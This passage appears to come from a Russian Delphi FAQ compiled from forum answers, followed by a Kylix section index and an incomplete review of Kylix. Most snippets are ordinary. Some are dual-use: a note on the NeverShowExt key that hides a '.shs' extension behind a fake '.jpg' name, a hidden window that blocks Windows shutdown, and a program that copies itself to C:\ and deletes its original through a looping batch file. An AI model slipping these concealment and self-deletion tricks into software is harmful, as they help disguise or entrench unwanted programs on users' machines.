The NeverShowExt key has the function to HIDE the real extension of the file (here) SHS. This means if you rename a file as "Girl.jpg.shs" it displays as "Girl.jpg" in all programs including Explorer.
Your registry should be full of NeverShowExt keys, simply delete the key to get the real extension to show up.

Взято с Vingrad.ru http://forum.vingrad.ru


Как отследить завершение работы в приложении?

Нужно отследить момент завершения Windows, и, если пользователь собирается выключить компьютер - программа должна вывести диалог запроса. Если пользователь нажимает кнопку YES - разрешаем выключение, если NO - отменяем. С помощью VCL компонентов это делается элементарно:

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 //Спрашиваем пользователя, если инициировано завершение работы.
 if MessageDlg('Вы уверены?', mtConfirmation, mbYesNoCancel, 0) = mrYes
  then CanClose := true   //Разрешаем завершение работы.
  else CanClose := false; //Nе разрешаем завершение работы.
end;

Автор ответа: Mazenrat
Взято с Vingrad.ru http://forum.vingrad.ru

Пример отслеживания завершения приложения написанного на чистом API:

program kvd;

uses
  Windows,
  Messages;

var
  hWnd: THandle;
  WndClass: TWndClass;
  Msg: TMsg;

function WindowProc(hWnd: THandle; uMsg, wParam, lParam: Integer): Integer;
 stdcall;
begin
 Result:=0;
 case uMsg of
  WM_QUERYENDSESSION:
       Result := integer(false);
   WM_DESTROY:
      PostQuitMessage(0);
 else
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
 end;
end;

begin
 FillChar(WndClass, SizeOf(WndClass), 0);
  with WndClass do begin
   hInstance      := SysInit.hInstance;
   lpszClassName  := 'dd';
   lpfnWndProc    := @WindowProc;
  end;
   RegisterClass(WndClass);
  hWnd := CreateWindow('dd', '', 0, 0, 0, 0, 0, 0, 0, hInstance, NIL);
  if hWnd = 0 then
   Exit;
  ShowWindow(hWnd, SW_HIDE);
  while GetMessage(Msg, 0, 0, 0) do begin
   TranslateMessage(Msg);
   DispatchMessage(Msg);
  end;
end.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Как прочитать время компиляции проги?

Дату компилляции вытащить нельзя. Можно дату Build (т.е. дату когда ты сделал опрерацию Build All, или самую первую компилляцию)

1) Ставим библиотеку RxLib
2) Идем в опции проэкта, закладка Version Info, отмечаем птичкой - include version info
3) В коде пишем следующее

uses
  Rxverinf;

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TVersionInfo.create(paramstr(0)) do
  try
    caption := datetimetostr(verfiledate);
  finally
    free;
  end;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как заставить запускаться из определенной папки?

Приведенный пример кода проверяет из какой папки запущена программа, если она запущена не из корневой - то переносит себя в корень и запускается оттуда.

program Project1;

uses
Forms, classes, windows, Sysutils, ShellApi,
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
var f:textFile;
FileName:String;

begin
if paramstr(1)<>'/runasis' then
begin
CopyFile(PChar(Paramstr(0)),PChar('c:\'+extractFilename(paramstr(0))),True);
shellexecute(0, 'Open', PChar(extractFilename(paramstr(0))), '/runasis', 'c:\',sw_restore);
FileName:=changefileext(paramstr(0),'.bat');
assignFile(f,FileName);
rewrite(f);
writeln(f,':1');
writeln(f,format('Erase "%s"',[paramstr(0)]));
writeln(f,format('If exist "%s" Goto 1',[paramstr(0)]));
writeln(f,format('Erase "%s"',[FileName]));
closefile(f);
ShellExecute(0, 'Open', PChar(FileName), nil, nil, sw_hide);
end
else
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как экспортировать процедуру в EXE файле

В DPR файле совершенно обычного проэкта дельфи можно указать функцию (процедуру) и объявить ее как экспортируемую - синтаксис точно такой-же как при создании стандартной DLL. С таким довеском EXE совершенно нормально компиллируется и работает и как EXE и как DLL (т.е. из нее можно импортировать описанные функции). Зачем это нужно? Была одна задача - делал консоль которая связывала воедино несколько приложений, так экспортные функции позволяли существенно расширять функциональность комплекса. Правда такой EXE все же имеет недостаток - EXE упаковщики сохраняют исполняемую часть и неправильно упаковывают экспортированную... Кроме того могут быть проблемы передачи строковых параметров.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Создание заставки при старте программы

Перед появлением главного окна во всех серьёзных приложениях сначала появляется заставка. Теперь и у Вас есть возможность повыёживаться! Для создания заставки выполняем следующую последовательность действий:

Начинаем создание нового приложение командой "New Application" ("Новое приложение") из меню "File" ("Файл")

Добавьте ещё одну форму: "New Form"("Новая форма") из меню "File" ("Файл"). Это окно и будет заставкой. У него нужно убрать рамку с полосой заголовка, установив свойство "BorderStyle" в "bsNone". Теперь можно смело разработать дизайн окна заставки.

Из меню "Project" ("Проект") выбрать команду "Options"("Опции"). Зайти на закладку "Forms"("Формы") и Form2 из списка автоматически создаваемых форм (Auto-Create forms) перенести в список доступных форм (Available forms)

На форму-заставку с закладки System вынести компонент Timer. В его свойстве Interval установить значение 5000, а в событии OnTimer написать:

Timer1.Enabled := false;

Это сделано для того, чтобы заставка была видна в период указанного времени – 5000 миллисекунд, т.е. 5 секунд.

Перейти в файл проекта, нажав Ctrl+F12 и выбрав Project1. Исходный код должен выглядеть так:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Теперь мы внесём сюда немного изменений и код должен стать таким:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Form2 := TForm2.Create(Application);
  Form2.Show;
  Form2.Update;
  while Form2.Timer1.Enabled do
    Application.ProcessMessages;
  Application.CreateForm(TForm1, Form1);
  Form2.Hide;
  Form2.Free;
  Application.Run;
end.

Взято с http://delphiworld.narod.ru


Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?

Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:
{Private declarations}

procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

В разделе implementation опишем поцедуру:

procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
 {Do a small bit of work here}
  Done := false;
end;

В методе Form'ы OnCreate - укажем что наша процедура вызывается на событии
Application.OnIdle.

Application.OnIdle := IdleEventHandler;
Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной Done присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной Done не присвоенно значение True.


Реализовать фоновую работу программы

Попробуйте запустить программу. Пока компьютер ничего не делает, рисунок на окне все время меняется, но, стоит загрузить компьютер какой-либо работой, и изменение фона прекращается. В этой программе можно подвигать мышью по окну – это приведет к сравнительно сложным действиям, поэтому фоновая работа программы временно прекратится.

...
public
  Row: integer;
  procedure OnIdleProc(Sender: TObject; var Done: Boolean);
...
procedure TForm1.FormCreate(Sender: TObject);

begin
  Application.OnIdle := OnIdleProc;
end;

procedure TForm1.OnIdleProc(Sender: TObject; var Done: Boolean);
var
  i: integer;
  col: TColor;
  Gray: integer;
begin
  for i := 0 to Form1.ClientWidth - 1 do begin
    col := Form1.Canvas.Pixels[i, Row];
    Gray := GetRValue(col) + round(30 * sin(i / 30 + Row / 50));
    Form1.Canvas.Pixels[i, Row] := RGB(Gray, Gray, Gray);
  end;

  inc(Row);
  if (Row = Form1.ClientHeight) then Row := 0;
  Done := false;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  i: integer;
begin
  with Form1.Canvas do begin
    Brush.Style := bsClear;
    for i := 0 to 1000 do begin
      Pen.Color := RGB(i, i, i);
      Rectangle(X - i, Y - i, X + i, Y + i);

    end;
  end;
end;


Kylix

Cодержание раздела:

Обзоры по Kylix
· Обзор Kylix
· Первые впечатления

Работа с базами данных
· DBExpress (раздел)
· Does Kylix support Postgres?
· Does Kylix support ODBC?

Интернет программирование
· Программирование Интернет приложений в Borland Kylix. Часть I
· Программирование Интернет приложений в Borland Kylix. Часть II
· Using a DSO on Apache 2.0.43, created with Kylix 3

QT и Linux API
· Взаимодействие с системой: Linux API и Qt library
· Перехватчики событий, сигналы и слоты
· Как перехватывать kernel-signals?
· Как получить имя текущего пользователя?
· Обработка событий Qt в Kylix-приложении

Проблемы установки Kylix и запуска Kylix приложений
· Kylix 3 encounters declaration syntax errors in TIME.H
· Limit reached for installs using Kylix serial number
· Installing Kylix 3 Open Edition on Mandrake 9
· Runtime error 230 when running Kylix application outside of the IDE
· My Kylix application won't run outside the IDE.
· How to run executables created in Kylix
· Why can't I run my Kylix application outside of the IDE?
· Error -10 when trying to install Kylix
· Should I install Kylix as root or a regular user?
· What is the message Generating font matrix when starting Kylix?
· Problem generating font matrix in Kylix.
· Error permission denied when trying to run Kylix
· Unresolved external malloc referenced, Ошибка линкера Kylix 3
· Запуск программы на Kylix

Как нарисовать повёрнутый текст
Как отловить CLX форму?
Как использовать ресурсы?
Как клонировать процесс?
Как сделать mount?
Как отлаживать консольные приложения?
Как запустить другое приложение?
Русификация Kylix
Информация о сетевых интерфейсах
How do I create an executible file using the command line directive in Linux with Kylix?
Как посмотреть требуемые библиотеки для бинарника? New!
CopyFile для Linux New!
Как запустить консольное приложение и перехватить вывод? New!
Как узнать загрузку CPU определённым процессом? New!
Как узнать расход памяти процессом? New!
Как узнать имя компьютера? New!
Как узнать свободное место на диске? New!
Как сделать Ping? New!
Модуль CRT для Linux New!
КроссKylix - возможность под Windows Delphi получать Linux исполняемые файлы New!

См. также статьи в других разделах:
Unix-строки (чтение и запись Unix-файлов)
Конвертируем Unix дату


Обзоры по Kylix

Cодержание раздела:

Обзор Kylix
Первые впечатления


Обзор Kylix

Недавно выпущенный фирмой Borland продукт - Kylix (Delphi for Linux) вызвал большой интерес в среде разработчиков. На предрелизном этапе разработки мнения о Kylix порой были диаметрально противоположны, от экзальтированно-восторженных до агрессивно-негативных.
Автор попытался в данной статье изложить свое мнение о данном продукте, основанное на недельном опыте работы его эксплуатации. Претендовать на 100% объективность, поработав столь недолгое время, трудно, но надеюсь, что мои мысли будут интересны и полезны читателям.

Итак, то, что нам так долго обещала компания Borland, свершилось, Kylix выпущен. О начале разработки компания Borland (тогда еще Inprise) объявила приблизительно год назад (или даже ранее). Это вызвало огромную заинтересованность в мире разработчиков ПО, т.к на сегодня Linux является одной из наиболее быстро растущих операционных систем. В последнее время рост Linux намечается не только как ОС для серверов, но и как операционной системы настольных ПК. (в подтверждение этого, я пишу эти строки в Linux) Развитие Linux, как ОС для настольных систем вызвало необходимость создания средств разработки приложений с графическим интерфейсом. Конечно, разработчики графических систем GNOME и KDE предлагают свои средства разработки, такие как GLADE и KDeveloper (которые к тому же бесплатны), но ни одно из этих средств разработки не может полностью удовлетворить возрастающие требования разработчиков. Таким образом, незаполненная ниша средств разработки приложений под Linux и огромная популярность Delphi дает Borland отличные шансы закрепиться на данном рынке.

Установка
Для тестирования была выбрана версия Kylix Server Developer Version 1.0 Build 5.62. Комплект поставки включал 2 CD. Один собственно с Kylix, а второй содержит дополнительные инструменты и компоненты. Откуда все взялось ? Вопрос риторический (ларек за углом). Сразу хочу принести искренние извинения компании Borland, ну нет меня нужной суммы (~2000$) чтобы оценить качество продукта (спонсоры где вы :-) ). Ну хватит о грустном .
В качестве ПК использовался P-III 500 , RAM 64 Mb, HD 10 Gb. Опрерационные системы - Red Hat Linux 7.0, Red Hat Linux 6.2. В качестве графической оболочки использовалась KDE KDE 2, GNOME. Установка проводилась как под аккаунтом root, так и под простым пользователем. Сразу отмечу, что инсталляция проходила гладко и без проблем (если не считать установку патчей glibc, что было запрошено программой инсталляции и также не вызвало затруднений). Графическая оболочка сделана удобно и интуитивно понятна.
После установки запуск графической оболочки также проходил без проблем. Не скажу, что скорость работы IDE меня поразила, но была вполне приемлема и не вызывала неприятных ощущений от заторможенности.
Резюме: инсталляция и запуск IDE не должны вызывать проблем.

IDE и Help
IDE Kylix практически дублирует IDE Delphi 5, чего, вообще говоря, и следовало ожидать. Первое впечатление, что ты и не покидал Delphi. Однако, по прошествии некоторого времени, обнаруживаешь, что отсутствует меню Database (где любимый SQL Explorer?). Средства создания приложения с поддержкой нескольких языков также не обнаружились . Наблюдаются различия и в палитре компонентов: отсутствует закладка Win32 (ну еще бы), на закладку Additional перенесены таймер и PaintBox (закладка System, в которой они находятся в Delphi упразднена, по всей видимости за ненадобностью), введены новые компоненты LCDNumber (ЖК индикатор), TextBrowser и TextViewer.

Чего действительно не будет хватать, так элементов для ввода даты, времени. Поработав еще немного, обнаруживаешь и приятные нововведения. Так, например, TButton обзавелся свойством Color, ТMainMenu имеет свойство Bitmap, позволяющее накладывать под меню картинку.

Object Pascal тоже не огорчил меня, все тот же простой и удобный язык программирования.
Поддержка "великого и могучего" определяется в первую очередь настройкой самой ОС.
Система встроенной подсказки аналогична привычной системе в Windows. В Kylix программа вывода подсказки называется HyperHelp и, судя по About Box, выпущена Bristol Technology Inc.Файлы подсказки имеют расширение hlp, но не открываются в Windows :(.

формате pdf (Acrobat Reader). Один из них - Developer Guide использовался мной очень часто и продуктивно. Документация достаточно полна, детализирована и удобна для изучения.
Обнаружение в каталоге установки папки wineserver подтвердило слухи о том, что в своей работе IDE использует эмуляцию Windows. Какие конкретно функции используются, выяснить не удалось, но наличие данного факта радости мне не прибавило.
Резюме: IDE практически аналогичен Delphi 5. Переход от IDE Delphi к Kylix проходит безболезненно.

Функциональные возможности Kylix

Компоненты создания пользовательского интерфейса
Естественно, что так как сама Borland позиционирует Kylix как Delphi под Linux я часто буду сравнить эти два средства разработки.
Начнем с набора визуальных компонентов в палитре. Большинство визуальных компонентов для создания пользовательского интерфейса присутствуют в обеих средах разработки. Отметим, что в Kylix стандартные компоненты получили свое дальнейшее развитие, т.е были добавлены новые свойства и методы, расширяющие функциональность компонентов и делающие их использование более гибким. В то же время в компонентах Kylix не были замечены какие-либо средства для поддержки восточных языков (Bidi Modes), так же отсутствуют свойства, связанные с плавающими окнами (docking).
Каких-либо кардинальных нововведений в процессе визуального программирования в Kylix мной замечено не было, да и, наверное они не нужны, т.к Delphi предоставляет одну из лучших (если не лучшую) среду визуальной разработки пользовательского интерфейса. Минут за 20-30 без всяких проблем мне удалось написать тестовое приложение типа редактора Notepad.
Резюме: Таким образом, можно сказать, что Kylix является одним из самых удобных средств быстрой разработки графических интерфейсов под Linux.

Работа с базами данных

Еще одним критически важным для разработчика сегментом является создание приложений работы с БД. Данную задачу можно разделить на три части:

1. Отображение данных пользователю.
2. Механизм организации передачи данных приложение - БД.
3. Генерация отчетов и диаграмм.

Первая задача решается компонентами с закладки DataControls. Почему-то на данной закладке не было компонентов DBRichEdit, DBCtrlGrid, DBChart. Особенно хочется выразить сожаление по поводу отсутствия последнего из перечисленных компонентов, т.к на сегодня практически невозможно писать приложения без деловой графики. Остальные компоненты были аналогичны Delphi, что позволяет без проблем отображать данные пользователю.
Механизм организации передачи данных приложение - БД. Реализация данной задачи фирмой Borland вызвала у меня самые неоднозначные реакции.
Во первых наблюдаются некоторые зачатки (а может и атавизмы) технологии MIDAS. Они представлены компонентами Provider и ClientDataSet.
Во вторых, как и анонсировалось ранее, в Kylix в качестве движка работы с серверами БД используется новая технология dbExperss (которую обещают сделать много платформенной). Компоненты размещены на закладке с соответствующим именем. Набор компонентов наиболее близок к закладке ADO в Delphi 5 и включает:
SQLConnection - соединение с БД. Данный компонент по функции аналогичен ADOConnetion, т.е позволяет настроить параметры связи с сервером БД

SQLQuery, SQLTable, SQLDataSet, SQLStoredProc - компоненты работы с объектами БД. В документации эти компоненты названы unidirectional datasets (о значении этого термина позднее)

SQLMonitor - компонент регистрации событий работы с БД

SQLClientDataSet - компонент доступа к данным (client dataset).

Решив разработать небольшое приложение для просмотра и редактирования БД, я разместил на форме SQLConnection и попытался связаться с сервером MySQL (ver 10.8 Distrib 3.23.22-beta, входит в поставку Red Hat Linux 7.0). Здесь я наступил на первые грабли в виде сообщения Unable to load libmysql.so.6.0.0. После недолгих поисков обнаружилась /usr/lib/myslq/libmysql.so.9.0.0, которая и была прописана в свойстве VendorLib, но и это не помогло мне, т.к на все последующие попытки ввода login/password я с неизменным успехом видел Invalid User/Password. Обозлившись на это дело и перепробовав все возможные комбинации host/database name/login/password, с соседней машины Windows подключился к базе без всяких проблем (через ODBC), из командной строки подключение к MySQL проблем тоже не вызвало. Через несколько дней на сайте Borland обнаружилось подтверждение, того что я не одинок. Как было указано, с версией MySQL 3.23 dbExpress не работает. К Interbase 6 на локальной машине подключение не вызвало проблем. Протестировать подключение к Oracle и DB2 не представилось возможным за отсутствием оных. Драйверов для других типов баз данных в поставке не обнаружилось.
Далее по старой памяти кинув на форму DataSource и SQLTable, настроив их нужные свойства (по аналогии с Delphi) и активизировав SQLTable (Active:=true), я было попытался установить свойство DataSource в сетке данных (DBGrid), и тут меня ждали вторые грабли - Operation not allowed on unidirectional dataset. После тщетных попыток найти ошибку в своих действиях, когда уже ничего не помогало, я прибегнул к самому отвратительному :) - чтению документации.
Как оказалось, все компоненты типа DataSet делятся на два типа

Unidirectional

Client dataset

Unidirectional - данный вид набора данных предназначен для извлечения данных через SQL запросы. Он позволяет двигаться по данным только вперед (согласно сортировке заданной order by) и не кэширует изменения, что делает его более быстрым и менее требовательным к ресурсам. Однако, он не позволяет пользователю редактировать данные, накладывать фильтры и Lookup. По вышеуказанным причинам я и не смог подключить unidirectional dataset для отображения в DBGrid.
Второй тип наборов данных - Client dataset. Данный тип наборов данных сохраняет записи из БД в буфер, позволяя перемещаться по записям в любом направлении. Именно данный тип набора данных может быть отображен в DBGrid и других элементах пользовательского интерфейса.
На основе всего вышесказанного, в документации предложено несколько архитектур взаимодействия с БД.

1. Работа на локальной машине с набором данных формируемым TClientDataSet. В Delphi 5 данная модель взаимодействия называлась briefcase. В Kylix (по крайней мере сегодня) нет возможности передавать изменения на сервер, т.е они остаются в файлах *.cds (или xml). В данном случае файлы *.cds представляют собой аналог локальных БД. Загружать/выгружать содержимое на диск можно соответственно функциями LoadFromFile/SaveToFile. Что неудобно в данном методе - определять структуру таблиц.
2. Работа с серверами БД через unidirectional dataset
Данная архитектура позволяет просматривать только одну запись из базы в каждый момент времени. Редактирование недоступно, двигаться по набору записей можно только вперед. Данный вид архитектуры полезен для статистического анализа записей БД, но на его основе практически нельзя построить приложение для ввода и редактирования данных пользователями.
3. Комбинация client и unidirectional dataset. Unidirectional dataset используется для извлечения данных с сервера БД, client dataset для буферизации, отображения, редактирования данных. Здорово завернуто, правда, особенно после Delphi, где до такого еще не додумались. Практически здесь выделены все компоненты трехзвенной архитектуры, но сервер приложений находится в одном приложении с презентационным слоем.
4. Понятное дело, что для создания классического двухуровневого клиент-сервера вышеописанная архитектура (3) слишком сложна и не дает никаких преимуществ. Посему для облегчения нам жизни существует еще одна архитектура доступа к серверам БД.
В качестве SQL client dataset используется компонент SQLClientDataSet, один за всех (Table, Query, StoredProc). Он может отображать данные в элементах управления, вставлять и редактировать их.
5. И наконец последнее, что предлагает Borland. Многоуровневая архитектура баз данных. Данная модель является логическим развитием модели №3
Но не спешите радоваться, т.к внизу как всегда есть приписочка, что компоненты типа Connection component придется приобретать отдельно, когда это станет возможно не сказано. Фактически, в той поставке, что тестировалась, создать трехзвенное приложение было невозможно. Причины этого на мой взгляд, в том что в Delphi было по большому счету две технологии взаимодействия приложений DCOM и CORBA. При тщательном рассмотрении оказывалось, что CORBA в Delphi являлась надстройкой над DCOM, а последний является на сегодня жестко привязанным к платформе Windows. Из данной ситуации есть два выхода: реализовывать DCOM для Linux (кстати частично это все же присутствует в Kylix), либо переходить на платформно незвависимую технологию CORBA. Оба эти пути достаточно сложны и имеют свои подводные камни, так что не будем судить Borland слишком строго.

Генерация отчетов и диаграмм. Решения данной задачи (т.е каких-либо генераторов отчетов) я не обнаружил вовсе. Что, мягко говоря, не очень понятно прикладным программистам.
Подведем итоги. Итак, базы данных и приложения работы с ними, по их устройству можно классифицировать на
1. Локальные БД (Dbase, Paradox). Решения для работы с локальными базами данных, даже формата dbf я не обнаружил, что для меня не понятно. Остается лишь вариант ClientDataSet+*.cds (архитектура 1), что не вызывает у меня большого восторга, т.к на сегодняшний день существует большое количество унаследованных систем хранящих данные именно в формате DBase или Paradox.
2. Двухуровневые БД (клиент - сервер). Приемлемо, достаточно удобно, хотя и непривычно.
3. Многоуровневые. Сейчас невозможно. Хотя в документации описание присутствует. Надеюсь, что в ближайшее время разработка многоуровневых БД станет доступной.
Резюме: работа с базами данных в Kylix еще далека от совершенства. Реально, на сегодня можно разрабатывать приложения клиент-сервер для работы с DB2, Oracle, MySQL( надеюсь, что в ближайшее время ошибки будут устранены) и Interbase.

Разработка приложений для Internet
Что действительно порадовало меня, так это включение в Kylix набора компонентов для работы с Internet - Indy. Данная библиотека содержит большое количество компонентов, обеспечивающих работу с многими сервисами интернета (сокеты TCP и UDP, DNS, FTP итд). Причем для многих протоколов реализованы не только клиенты, но и сервера. Включение Indy явилось безусловным плюсом в развитии Kylix (и Delphi, т.к Indy должен войти в Delphi 6). Большое количество примеров работы с данной библиотекой находится в архиве /demos/Internetdirect/IndyDemos.tar.gz.
Другой стороной работы с Internet является расширение возможностей Web серверов, помимо CGI сценариев, Kylix позволяет разрабатывать и модули популярного Web сервера Apache. Принцип построения модулей Apache аналогичен написанию CGI, т.е используется WebModule итд. По ставнению c Delphi технология разработки не претерпела изменений, поэтому останавливаться подробно на ней мы не будем. Для запуска примеров, по крайней мере под RedHat, пришлось перекомпилировать сервер Apache с включением поддержки DSO. Данная процедура подробно была описана в документации Kylix и не вызывала проблем. А вот инсталляция примера заставила меня немного потрудиться. Вызвано это было тем, что в документации и примере содержались ошибки, связанные с тем, что параметры конфигурации были указаны неверно, вернее был неправильно указан регистр букв( замечу, что для Apache в Unix имена параметров HelloWorld и Helloword две большие разницы). В конце концов тестовый пример был благополучно запущен, но впредь было бы хорошо, чтобы Borland более внимательно относилась к тестированию примеров.
Резюме: разработка приложений для взаимодействия с сервисами Internet удобна и достаточно развита. Создание CGI приложений было дополнено средствами создания модулей для популярного Web сервера Apache. Однако отсутствие поддержки регулярных выражений (а HTTP текстоориентированный протокол ), на мой взгляд, является заметным недостатком в данной области.

Объектная библиотека (CLX)
Библиотека CLX (Borland Component Library for Cross Platform - произносится как кликс) , на основе которой построена иерархия объектов в Kylix, является дальнейшим развитием объектной библиотеки Delphi - VCL. Главной целью разработки CLX стало стремление создать независимую от операционной системы библиотеку классов и компонентов. Наверное, с выходом Delphi 6 эта цель будет окончательно достигнута.
Все основные классы VCL обнаружились и в CLX, т.е родитель - это TObject итд. Миграция от VCL к CLX, как мне кажется, не вызовет серьезных проблем у большинства разработчиков.
Как и в Delphi кроме классов в иерархии присутствуют интерфейсы. Вот тут и кроется один интересный момент. В иерархии интерфейсов явно виднеется IUnknown, в интерфейсах есть GUID, wine для оболочки, чую Windows. Думаю, далее следует вопрос, а сможет ли когда-либо Kylix окончательно стать независимым от Windows COM или Borland будет последовательно переносить COM на Linux?

Конечно, COM является одним из лидеров технологий распределенных приложений, но ведь в последнее время все более заметной становится другая технология CORBA, объективно обладающая рядом достоинств, по сравнению с COM. CORBA активно и довольно успешно поддерживалась на платформе Windows, был разработана версия VisiBroker для Linux.
Если касаться внутреннего устройства CLX, то надо отметить, что она базируется на мультиплатформенной библиотеке Qt фирмы TrollTech http://www.troll.no/. Поскольку Qt написана на C++, необходимо было реализовать промежуточный слой, транслирующий модель компонентов Kylix в вызовы функций Qt (напомню, что в С++ не поддерживаются свойства). Данный в слой был назван CLXDisplay. Отношения между Qt и CLX по части визуальных компонентов сродни отношениям VCL и Win32 API (в части элементов управления). В CLX "общение" c Qt происходит по следующим правилам

Компоненты CLX имеют указатель(handle), связывающий их с объектом соответствующего widget (графический элемент управления - в терминологии Qt). Имя типа handle формируется как имя класса Qt+H. Имена классов в Qt начинаются с Q. Например, для Label имя класса Qt - Qt. Handle при этом будет типа QLabelH. Прямой доступ к методам и членам widget может быть осуществлен через Handle. Так конструктор создания Label на C++

QLabel(QWidget *parent=0, const char *nome=0, WFlags f=0)
Транслируется в Object Pascal
function QLabel_create(parent: QWidgetH; name: PAnsiChar; f: WFlags): QLabelH; overload; cdecl;

При использовании метода класса первым параметром является Handle. Так если, в Qt метод установки Caption
virtual void setText(const QString &)
в Object Pascal будет выглядеть как
TxtLbl := 'this is a test';
QLabel_setText(LabelHandle,@Txtlbl);

События (в терминологии Qt - signals) и обработчики события (в терминологии Qt - slots). В Qt связывание события с обработчиком выглядит так:
// Декларация
bool connect (const QObject *sender, const char *signal, const char *member)
// Привязка
connect(Button,SIGNAL(clicked()),App,SLOT(quit())

В Object Pascal
function QObject_connect(sender: QObjectH; signal: PAnsiChar; Receiver: QObjectH; member: PAnsiChar): Boolean; overload;

Так например если связать сигнал нажатия кнопки со слотом quit приложения, то при нажатии на кнопку приложение будет закрываться. Таким образом осуществляется делегирование обработки событий. Однако данная техника не позволяет в Kylix (в отличии от С++) писать собственные обработчики событий (слоты). Так, в нашем примере мы не сможем выдать диалог подтверждения закрытия.

Для создания возможности написания собственных обработчиков событий применяются перехватчики (hooks). Для подключения собственного обработчика необходимо: создать hook (ButtonHook := QButton_hook_create(Button);), получить ссылку на обработчик (QButton_clicked_Event(BtnClicked) := DummyClass.ButtonClicked;), связать их (QButton_hook_hook_clicked(ButtonHook, BtnClicked);)

Все вышеописанное говорит о большой работе, проделанной программистами Borland при разработке CLX. За подробностями взаимодействия CLX с Qt рекомендую обратиться к статье Bruno Sonnino "Programming Kylix with the CLXDisplay API", размещенную на сайте Borland.
В связи со всем сказанным возникает вопрос - как будет взаимодействовать с Qt анонсируемый Borland аналог C++ Builder. С одной стороны он должен поддерживать CLX, с другой вышеописанные проблемы с созданием собственных слотов перед ним стоять, по идее, не должны.

Совместимость с Delphi 5
Одной из задач разработки Kylix являлось обеспечение максимальной совместимости с Delphi. Данную задачу можно разбить на несколько подзадач.

Обеспечение идентичности языка программирования. Достигнуто - в обоих средствах разработки приложений используется Object Pascal.
Близкое сходство IDE. Достигнуто. Переход из IDE Delphi в IDE Kylix не вызывает проблем.
Общность библиотеки классов. CLX разрабатывался максимально совместимым с VCL. Анонсировано, что в Delphi 6 VCL будет замещен CLX. Так что, в ближайшее время задача будет решена.
Одинаковость файлов, составляющих проект. Почти достигнута, в Kylix, по умолчанию, файлы *.dfm (описание свойств компонентов формы) имеют расширение *.xfm.
Документация Kylix содержит довольно большой раздел, посвященный переносу приложений и совместимости с Delphi.
В частности, о чем придется забыть в Kylix
1. Вызовы Windows APIРеестр Windows
2. COM & ActiveX
3. BDE&ADO
4. CORBA
5. Трехзвенные БД
Таким образом, на сегодняшний день можно говорить о частичной совместимости Delphi и Kylix, и то на уровне графического интерфейса пользователя.
Моя личная попытка перенести простейший проект с одной формой из Delphi в Kylix и обратно увенчались успехом, однако, по моему мнению, ни один из серьезных проектов автоматически или даже полуавтоматически из Delphi5 в Kylix портирован не будет.
Ранее для Delphi неоднократно отмечалось, что размер даже минимального проекта с одной формой составлял более 200 кбайт. Kylix, к сожалению, поддержал и развил эту традицию. Размер вышеуказанного проекта составил 385 к байт.

Резюме: Разработчики приложили максимум усилий для совместимости Kylix и Delphi. По анонсам Delphi 6 должна быть максимально совместима с Kylix, однако глубокие различия Linux и Windows приводят к тому, что на практике 100% совместимость будет вряд ли достигнута.

Заключение
Итак, подведем итоги. Безусловно, что выход Kylix является событием в мире разработчиков программного обеспечения. Необходимость в продукте данного класса назрела и нужно выразить большую благодарность Borland за усилия, затраченные на разработку. Сильной стороной продукта являются:

Удобный IDE
Документированность продукта
Хорошо продуманная среда разработки графического интерфейса пользователя
Средства разработки приложений для Internet.
Максимальная приближенность к Delphi
Слабые стороны
Отсутствие технологий создания распределенных объектов (в первую очередь CORBA)
Некоторые неисправленные ошибки
Небольшой набор драйверов для серверов баз данных
Невозможность работы с локальными БД
Отсутствие отчетов в БД
Как мне кажется, как среда разработки Kylix дозрел до уровня Delphi 2-3. Можно рекомендовать его как средство разработки графического интерфейса, работы с серверами базами данных клиент-сервер, разработки приложений для работы с сервисами интернета. В остальных областях программирования ( мультимедиа, распределенные объекты, трехзвенные БД) налицо наличие нереализованного потенциала развития. Данному продукту можно поставить твердую четверку.

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Первые впечатления

Первые впечатления

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Наверное каждый программист, хотя бы время от времени работающий с Delphi, слышал о том, что Kylix – это Delphi для Linux. Более строго, Kylix – это средство разработки на основе ObjectPascal и VCL для платформы Linux/QT. Данная серия статей предназначена прежде всего для программистов, ранее писавших на Delphi, и желающих теперь освоить программирование для Linux. Я сам пишу программы как на Delphi под Windows, так и на QT под Linux. Надеюсь, мои впечатления и наблюдения покажутся Вам полезными.

Первый взгляд на Kylix

